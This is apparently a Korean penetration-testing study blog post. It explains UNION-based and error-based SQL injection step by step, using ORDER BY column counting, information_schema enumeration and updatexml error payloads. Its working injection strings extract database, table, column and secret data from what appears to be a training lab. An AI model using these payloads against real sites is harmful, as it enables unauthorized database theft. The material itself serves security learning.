What is UNION, Error Based SQL Injection?

심야·2023년 7월 14일
0

모의해킹

목록 보기
20/42

SQL Injection

SQL 인젝션 시도 시 서버가 어떤 SQL 질의문을 사용하는지 추측해야 한다!
공격할 때 반복적으로 사용하는 SQL 질의문이 있다. 따라서 기본 틀을 만들고 시작한다!

전략

데이터 추출

  • SQL 질의문 삽입 결과가 화면에 보이는 곳 게시판, 회원 정보(내 페이지), 주소 검색, 검색 페이지 등
  • SQL 질의문 삽입 결과가 화면에 안 나오는 곳 로그인 (데이터가 나오는 것이 아니라 로그인 성공 여부만 출력) 아이디 중복 체크(중복 여부만 출력) 등

UNION SQL Injection

게시판처럼 SQL 질의문 삽입 결과가 화면에 출력 되는 곳에 적용하며 앞에 있는 SELECT 와 뒤에 있는 SELECT컬럼 개수와 타입이 같아야 한다.

아래 쿼리를 보면 앞, 뒤의 컬럼이 2개로 동일하다.
SELECT id, pass FROM member UNION SELECT id, title FROM board;

UNION 연산자

UNION은 두 SQL 질의문 결과를 합친 연산자이다. SELECT * FROM member UNION SELECT 1, '1', '1', '1', 1, '1', '1' 질의문은 MEMBER 테이블 각각의 컬럼에 SELECT * FROM memberSELECT 1, '1', '1', '1', 1, '1', '1' 질의문의 합집합을 출력한다.

그럼 앞에 있는 컬럼 개수를 어떻게 파악 할 것인가 ? !

  • order by 구문을 적용한다.
    • ex) select * form [테이블 이름] order by [컬럼 이름]
      • select id, pass from member ordery by 1; ⇒ id 기준으로 정렬
      • select id, pass from member ordery by 2; ⇒ password 기준으로 정렬
      • select id, pass from member oder by 3; ⇒ 정렬할 컬럼이 존재하지 않아 문법 에러 발생

IF. 게시판 검색 서비스라면?

  1. 어떤 SQL 질의문 사용하는지 추측

    1. 데이터를 넣으니 데이터가 조회된다 ⇒ select 문 사용 추측
    2. 문자열 일부만 검색했는데 해당 문자열이 포함되서 검색된다 ⇒ like ‘% 문자열 %‘ 추측
  2. 취약점 여부 확인

    1. ‘ ⇒ 작은 따옴표는 문법 에러를 발생시키나 추천하지 않음
    2. 문자열 %’ # ⇒ %’ # 등의 특수문자가 그대로 문자로 출력된다면 특수문자 필터링을 의미한다. 하지만 필터링 처리 없이 특수문자가 SQL 질의문에 반영된다면 취약점 발생 가능성이 있다.
  3. ORDER BY

    WHERE name LIKE '%문자열%' ORDER BY 1 #
    1, 2, 3, 4 … 컬럼 증가시키며 개수를 파악한다. 5에서 에러 발생 시 컬럼 개수는 4개이다.

  4. DB 이름 확인
    SELECT database() ⇒ DB 이름이 출력된다.
    추측하는 SQL 질의문 => where name like ‘%문자열%’

    삽입할 질의문 => watch%' union select '1', database(), '3', '4
    => 화면에 DB이름, ‘3’, ‘4’ 가 출력된다.

  5. 해당 DB가 사용하는 테이블 이름 확인
    질의문 양식 => SELECT table_name FROM information_schema.tables WHERE table_schema = ‘DB 이름’

    삽입할 질의문 => watch%' UNION SELECT '1', table_name, '3', '4' FROM information_schema.tables WHERE table_schema = 'segfault_sql' #

    Tip. 주석 대신 or '1'='1 사용해도 된다.

  6. 컬럼 이름 확인
    information_schema.columns 의 column_name 테이블을 사용한다.
    질의문 양식 => SELECT column_name FROM information_schema.columns WHERE table_name='table name'

    삽입할 질의문 => watch%' UNION SELECT '1', column_name, '3', '4' FROM information_schema.columns WHERE table_name='secret'

    Tip. 주석 대신 or '1'='1 사용해도 된다.

  7. 데이터 추출
    질의문 양식 => SELECT [컬럼 이름] FROM [테이블 이름]

    삽입할 질의문 => watch%' UNION SELECT '1', secret, '3', '4' FROM secret #

    Tip. watch%' UNION SELECT '1', secret, '3', '4' FROM secret # 구문에서 WHERE 같은 조건식이 없으므로 주석 대신 AND, OR 등의 논리 연산자는 사용할 수 없다.

Error Based SQL Injection

💡 DB 관련한 Error 메시지가 화면에 출력 될 때 사용 가능한 SQL Injection

  1. 어떤 SQL 질의문 사용하는지 추측

    ex. select [컬럼 이름] from [테이블 이름] where id=’입력 문자열‘

  2. DB 에러인지 확인

  3. error based SQL Injection Function

    error based SQL Injection Function은 구글에 검색하면 잘 정리되어 있다.

    1. 문법 에러 ⇒ 코드에 문법적인 오류 발생하는 경우
    2. 논리 에러 ⇒ 코드에 문법적인 오류는 없지만, 프로그램 동작이 의도와 다르게 이뤄지는 경우
      • updatexml (error based function)
        • 1' and updatexml(null, concat(0x3a, 'test'), null) and '1'='1
        • 0x3a는 문자 : 이다. 따라서 concat() 문자열은 :test 이다.
  4. DB 이름 파악

    사용할 SQL 질의문 ⇒ select database()

    • 1' and updatexml(null, concat(0x3a, 'test'), null) and '1'='1
    • 1' and updatexml(null, concat(0x3a, (select database())), null) and '1'='1
  5. 테이블 이름 구하기
    사용할 SQL 질의문 ⇒ select table_name from information_schema.tables where table_schema ='DATABASE NAME'

    • 1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segfault_sql')), null) and '1'='1
    • limit [어디에서부터, 몇 개] ⇒ limit 0, 1
      • 💡 1 row처럼 출력된 행 개수만 나오고 테이블 이름이 출력되지 않으면 limit를 사용한다.
        • 1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1)), null) and '1'='1limit 덕분에 테이블 이름이 출력된다.
  6. 컬럼 이름 구하기

    사용할 SQL 질의문 ⇒ select column_name from information_schema.columns where table_name='table name' limit 0, 1

    • 1' and updatexml(null, concat(0x3a, ( select column_name from information_schema.columns where table_name='table name' limit 0, 1)), null) and '1'='1
  7. 데이터 추출

    사용할 SQL 질의문 ⇒ select [컬럼 이름] from [테이블 이름]

    • 1' and updatexml(null, concat(0x3a, (select [column name] from table name)), null) and '1'='1
profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글